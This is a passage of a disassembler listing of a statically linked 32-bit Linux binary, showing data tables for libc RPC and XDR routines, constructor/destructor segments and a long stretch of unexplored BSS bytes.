"10" dd offset a11 ; "11" dd offset a12 ; "12" dd offset a13 ; "13" dd offset a14 ; "14" dd offset aNochange ; "NOCHANGE" unk_807902C db 0 ; ; DATA XREF: _IO_fopen+28o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0DCh ; db 0Dh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 18h ; db 11h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 6Ch ; l db 10h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 23h ; # db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 64h ; d db 15h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 4Ch ; L db 1Dh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 78h ; x db 12h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 60h ; ` db 0Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 10h ; db 12h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 6Bh ; k db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 8Ch ; db 14h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 10h ; db 15h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 14h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 14h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0E0h ; db 14h ; db 6 ; db 8 ; dword_80790BC dd 806AABCh ; DATA XREF: sub_8062940+4Br ; sub_8062940+CFr ... dd offset unk_806AABC dd offset unk_806AABC dd offset unk_806AABC dd offset unk_806AABC dd offset unk_806AABC dword_80790D4 dd 806AABCh ; DATA XREF: sub_8062C9C+Cr ; sub_8062C9C+12w ... unk_80790D8 db 0 ; ; DATA XREF: sub_80638B8+10o ; sub_80638B8+17o db 0 ; db 0 ; db 0 ; db 9 ; db 0ADh ; db 6 ; db 8 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0EDh ; db 0ACh ; db 6 ; db 8 ; db 2 ; db 0 ; db 0 ; db 0 ; db 0D4h ; db 0ACh ; db 6 ; db 8 ; db 3 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0ACh ; db 6 ; db 8 ; db 4 ; db 0 ; db 0 ; db 0 ; db 0A9h ; db 0ACh ; db 6 ; db 8 ; db 5 ; db 0 ; db 0 ; db 0 ; db 9Ah ; db 0ACh ; db 6 ; db 8 ; db 6 ; db 0 ; db 0 ; db 0 ; db 78h ; x db 0ACh ; db 6 ; db 8 ; db 7 ; db 0 ; db 0 ; db 0 ; db 5Eh ; ^ db 0ACh ; db 6 ; db 8 ; db 8 ; db 0 ; db 0 ; db 0 ; db 45h ; E db 0ACh ; db 6 ; db 8 ; db 9 ; db 0 ; db 0 ; db 0 ; db 27h ; ' db 0ACh ; db 6 ; db 8 ; db 0Ah ; db 0 ; db 0 ; db 0 ; db 0Ch ; db 0ACh ; db 6 ; db 8 ; db 0Bh ; db 0 ; db 0 ; db 0 ; db 0E9h ; db 0ABh ; db 6 ; db 8 ; db 0Ch ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 0ABh ; db 6 ; db 8 ; db 0Dh ; db 0 ; db 0 ; db 0 ; db 0BEh ; db 0ABh ; db 6 ; db 8 ; db 11h ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0ABh ; db 6 ; db 8 ; db 0Eh ; db 0 ; db 0 ; db 0 ; db 8Fh ; db 0ABh ; db 6 ; db 8 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 73h ; s db 0ABh ; db 6 ; db 8 ; db 10h ; db 0 ; db 0 ; db 0 ; db 53h ; S db 0ABh ; db 6 ; db 8 ; unk_8079168 db 0 ; ; DATA XREF: sub_8063A74+10o ; sub_8063A74+17o db 0 ; db 0 ; db 0 ; db 0F1h ; db 0ADh ; db 6 ; db 8 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0D7h ; db 0ADh ; db 6 ; db 8 ; db 2 ; db 0 ; db 0 ; db 0 ; db 0BCh ; db 0ADh ; db 6 ; db 8 ; db 3 ; db 0 ; db 0 ; db 0 ; db 0A4h ; db 0ADh ; db 6 ; db 8 ; db 4 ; db 0 ; db 0 ; db 0 ; db 8Bh ; db 0ADh ; db 6 ; db 8 ; db 5 ; db 0 ; db 0 ; db 0 ; db 70h ; p db 0ADh ; db 6 ; db 8 ; db 6 ; db 0 ; db 0 ; db 0 ; db 58h ; X db 0ADh ; db 6 ; db 8 ; db 7 ; db 0 ; db 0 ; db 0 ; db 3Dh ; = db 0ADh ; db 6 ; db 8 ; off_80791A8 dd offset sub_8063D20 ; DATA XREF: clnttcp_create+1ECo dd offset sub_8063FAC dd offset sub_8063F60 dd offset sub_8063F84 dd offset sub_806402C dd offset sub_8063FB4 off_80791C0 dd offset sub_8064438 ; DATA XREF: clntudp_bufcreate+D8o dd offset sub_80648D0 dd offset sub_8064884 dd offset sub_80648A8 dd offset sub_8064978 dd offset sub_80648D8 dword_80791D8 dd 5 ; DATA XREF: pmap_getport+37r dword_80791DC dd 0 ; DATA XREF: pmap_getport+30r dword_80791E0 dd 3Ch ; DATA XREF: pmap_getport+73r dword_80791E4 dd 0 ; DATA XREF: pmap_getport+6Dr unk_80791E8 db 0 ; ; DATA XREF: xdr_replymsg+32o db 0 ; db 0 ; db 0 ; db 70h ; p db 4Bh ; K db 6 ; db 8 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 4Bh ; K db 6 ; db 8 ; db 0FFh ; db 0FFh ; db 0FFh ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; dword_8079220 dd 0 ; DATA XREF: clnt_spcreateerror+2Dr ; clnt_spcreateerror+42r ... dword_8079224 dd 0 ; DATA XREF: clnt_spcreateerror+60r ; pmap_getport+A7o dword_8079228 dd 0 ; DATA XREF: clnt_spcreateerror+86r ; clnt_spcreateerror+8Fr ... db 0 ; db 0 ; db 0 ; db 0 ; dword_8079230 dd 0 ; DATA XREF: sub_8063D20+138r ; sub_8064438+172r ... dword_8079234 dd 0 ; DATA XREF: sub_8063D20+141r ; sub_8064438+17Br ... dword_8079238 dd 0 ; DATA XREF: sub_8063D20+14Ar ; sub_8064438+184r ... unk_807923C db 0 ; ; DATA XREF: sub_8065120+6Fo db 0 ; db 0 ; db 0 ; off_8079240 dd offset sub_806543C ; DATA XREF: xdrmem_create+12o dd offset sub_8065474 dd offset sub_80654AC dd offset sub_80654E8 dd offset sub_8065524 dd offset sub_8065538 dd offset sub_8065568 dd offset sub_8065434 off_8079260 dd offset sub_8065848 ; DATA XREF: sub_8065750+94o dd offset sub_80658B4 dd offset sub_8065910 dd offset sub_806597C dd offset sub_80659EC dd offset sub_8065A40 dd offset sub_8065AB8 dd offset sub_8065B0C dword_8079280 dd 0 ; DATA XREF: __sbrk+13r __sbrk+20w ... off_8079284 dd offset unk_806BBBC ; DATA XREF: .rodata:0806AA10o dword_8079288 dd 806A9C4h ; DATA XREF: _nl_postload_ctype+3r off_807928C dd offset unk_806BC14 ; DATA XREF: .rodata:0806AA18o off_8079290 dd offset unk_806BBC8 ; DATA XREF: .rodata:0806AA14o off_8079294 dd offset unk_806BC54 ; DATA XREF: .rodata:0806AA0Co off_8079298 dd offset sub_806717C ; DATA XREF: authnone_create+61o dd offset sub_806714C dd offset sub_8067184 dd offset sub_8067190 dd offset sub_806719C _data ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data ; Segment permissions: Read/Write _ctors segment dword public 'DATA' use32 assume cs:_ctors ;org 80792ACh ctors_addr dd 0FFFFFFFFh ; DATA XREF: call_ctors+1o ; call_ctors+6r db 0 ; db 0 ; db 0 ; db 0 ; _ctors ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data ; Segment permissions: Read/Write _dtors segment dword public 'DATA' use32 assume cs:_dtors ;org 80792B4h db 0FFh ; db 0FFh ; db 0FFh ; db 0FFh ; dtors_address dd 0 ; DATA XREF: call_dtors+1o ; call_dtors+6r _dtors ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Uninitialized ; Segment permissions: Read/Write _bss segment dword public 'BSS' use32 assume cs:_bss ;org 80792BCh assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing h_addr dd ? ; DATA XREF: gethostbyname_+1Fo ; gethostbyname_+29r unk_80792C0 db ? ; unexplored ; DATA XREF: sub_804A5CC+96o ; sub_804A5CC+349o db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_80793B0 dd ? ; DATA XREF: sub_804A5CC+96w ; sub_804A5CC+DFr ... unk_80793B4 db ? ; unexplored ; DATA XREF: sub_804C6FC+34o db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db 